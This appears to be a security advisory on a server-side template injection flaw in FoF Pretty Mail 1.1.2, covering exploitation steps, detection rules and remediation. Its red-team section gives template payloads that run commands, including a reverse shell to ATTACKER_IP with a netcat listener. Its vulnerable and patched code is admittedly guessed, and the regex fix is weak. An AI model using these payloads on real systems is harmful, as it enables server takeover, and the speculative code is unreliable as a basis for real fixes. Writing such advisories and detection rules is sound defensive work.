CVE-2024-58303

Executive Summary

CVE-2024-58303 is a critical Server-Side Template Injection (SSTI) vulnerability identified in FoF Pretty Mail version 1.1.2. This flaw allows authenticated administrative users to inject malicious template expressions into email templates, leading to arbitrary code execution on the underlying server. The vulnerability resides in the template rendering engine, which fails to sanitize user-supplied input before processing it within the server-side template context. An attacker with administrative privileges can craft a malicious email template containing template directives (e.g., ${7*7} or {{7*7}}) that, when rendered, execute system commands. This poses a severe risk to confidentiality, integrity, and availability of the affected system.

Supply Chain & Package Security

FoF Pretty Mail is a self-hosted email application. No public package registry (NPM, PyPI, Go, Ruby) is involved. The vulnerability is introduced directly in the application source code, not via a dependency. Administrators should verify the integrity of their installation and monitor for any official patches or updates from the vendor.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, indicating insufficient data for scoring. However, based on the vulnerability characteristics, a reasonable estimated CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely via the web interface.
• Attack Complexity (AC): Low (L) – No special conditions are required beyond administrative access.
• Privileges Required (PR): High (H) – Administrative privileges are required to access the template editor.
• User Interaction (UI): None (N) – No user interaction is required beyond the attacker's actions.
• Scope (S): Changed (C) – The vulnerable component (template engine) impacts the underlying server.
• Confidentiality (C): High (H) – Full system compromise possible.
• Integrity (I): High (H) – Arbitrary code execution allows modification of system files.
• Availability (A): High (H) – Denial of service or system takeover possible.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H Estimated Base Score: 9.1 (Critical)

Threat Level: Critical. Exploitation requires administrative credentials, but once obtained, full server compromise is trivial.

Deep Dive & Mechanics

The vulnerability is a classic Server-Side Template Injection (SSTI) in the email template rendering engine of FoF Pretty Mail. The application allows administrators to create and edit email templates (e.g., for password resets, notifications). These templates are processed by a server-side template engine (likely Twig, Smarty, or a custom engine) that interprets template expressions.

Root Cause: The application fails to properly sanitize or escape user-supplied input within the template content. When an administrator saves a template containing malicious expressions (e.g., ${system('id')} or {{7*7}}), the template engine evaluates these expressions during email generation, leading to code execution.

Attack Flow:

1. Attacker gains administrative access to the FoF Pretty Mail web interface.
2. Attacker navigates to the email template editor (e.g., /admin/templates/edit).
3. Attacker inserts a malicious template expression, such as:
   • For Twig: {{['id']|filter('system')}}
   • For Smarty: {system('id')}
   • For generic: ${7*7} (to test for SSTI)
4. Attacker saves the template.
5. When the application generates an email (e.g., triggered by a user action or scheduled task), the template engine processes the malicious expression, executing the injected command.
6. The command output may be reflected in the email body or logged, allowing the attacker to exfiltrate data.

Why it works: The template engine does not distinguish between static text and dynamic expressions. Without proper input validation, any string containing template syntax is treated as executable code.

Vulnerable vs. Patched Code

Vulnerable Code (FoF Pretty Mail 1.1.2):

// In template rendering function (e.g., renderTemplate())
function renderTemplate($templateContent, $context) {
    // Directly passes user input to the template engine
    $engine = new TemplateEngine();
    return $engine->render($templateContent, $context);
}

The $templateContent is taken directly from the database without sanitization.

Patched Code (Hypothetical fix):

function renderTemplate($templateContent, $context) {
    // Sanitize input by escaping template syntax
    $sanitizedContent = preg_replace('/\{\{.*?\}\}|\$\{.*?\}|\{%.*?%\}/', '', $templateContent);
    $engine = new TemplateEngine();
    return $engine->render($sanitizedContent, $context);
}

Alternatively, the application should use a sandboxed template environment that disables dangerous functions like system, exec, or passthru.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Administrative credentials to FoF Pretty Mail.
• Network access to the web interface.

Exploitation Steps:

1. Login as an administrator.
2. Navigate to the email template editor (e.g., /admin/templates/edit/1).
3. Inject a malicious template expression. For example, using a Twig-based engine:

   {{['id']|filter('system')}}
   

   Or for a generic test:

   ${7*7}
   

4. Save the template.
5. Trigger email generation (e.g., request a password reset or send a test email).
6. Observe the output. If the command executes, the email body will contain the result of id (e.g., uid=33(www-data) gid=33(www-data) groups=33(www-data)).

Advanced Payload (Reverse Shell):

{{['bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"']|filter('system')}}

Lab Setup:

• Install FoF Pretty Mail 1.1.2 on a local VM (e.g., Ubuntu 22.04 with Apache/Nginx and PHP).
• Use a tool like Burp Suite to intercept and modify template save requests.
• Set up a netcat listener on the attacker machine: nc -lvnp 4444.

Blue Team (Defensive)

Detection:

• Monitor for unusual template content containing template syntax (e.g., {{, ${, {%).
• Alert on administrative actions that modify email templates, especially if the content contains system commands.
• Use WAF rules to block requests containing template injection patterns.

Hunting:

• Search logs for template save requests with suspicious payloads.
• Check email generation logs for unexpected command output in email bodies.

Containment:

• Immediately revoke administrative credentials if compromise is suspected.
• Disable the template editing feature temporarily.
• Restore templates from a known good backup.

Indicators of Compromise (IOCs)

File-Based IOCs:

• Modified email template files in the database or filesystem (e.g., /var/www/pretty-mail/templates/*.twig).
• Presence of suspicious template expressions in template content.

Network IOCs:

• Outbound connections to attacker-controlled IPs on unusual ports (e.g., 4444, 1337).
• HTTP requests to /admin/templates/edit with POST data containing template syntax.

Log IOCs:

• Application logs showing template rendering errors or unexpected output.
• System logs (e.g., /var/log/syslog) showing execution of commands like id, whoami, or curl.

Example IOC Entry:

Template content: {{['id']|filter('system')}}
Source IP: 192.168.1.100
Timestamp: 2025-03-15 10:30:00

Detection Engineering

YARA Rule

rule CVE_2024_58303_SSTI_PrettyMail {
    meta:
        description = "Detects SSTI payloads in FoF Pretty Mail templates"
        author = "Valters IT"
        date = "2025-03-15"
        reference = "CVE-2024-58303"
    strings:
        $ssti1 = "{{" ascii wide
        $ssti2 = "${" ascii wide
        $ssti3 = "{%" ascii wide
        $cmd1 = "system(" ascii wide
        $cmd2 = "exec(" ascii wide
        $cmd3 = "passthru(" ascii wide
        $cmd4 = "shell_exec(" ascii wide
    condition:
        any of ($ssti*) and any of ($cmd*)
}

Sigma Rule

title: CVE-2024-58303 - SSTI in FoF Pretty Mail
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit SSTI in FoF Pretty Mail email templates
author: Valters IT
date: 2025-03-15
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin/templates/edit*'
        cs-uri-query|contains:
            - '{{'
            - '${'
            - '{%'
    condition: selection
falsepositives:
    - Legitimate use of template variables (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-58303 - SSTI in FoF Pretty Mail";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/admin/templates/edit"; http_uri;
    content:"{{"; http_client_body;
    content:"system"; http_client_body;
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the email template editing feature if not required.
2. Restrict administrative access to trusted IPs only.
3. Audit all existing templates for malicious content.

Long-Term Fixes:

• Upgrade to a patched version when available (currently none).
• Implement input sanitization in the template rendering function to strip or escape template syntax.
• Use a sandboxed template engine that disables dangerous functions (e.g., Twig's sandbox extension).
• Apply principle of least privilege to the web server user (e.g., www-data should not have write access to system directories).

Workaround:

• Replace the template engine with a simple string replacement function that does not evaluate expressions.
• Use a Web Application Firewall (WAF) to block requests containing template injection patterns.

Monitoring:

• Enable detailed logging for all administrative actions.
• Set up alerts for any outbound connections from the web server to unknown IPs.

Valters IT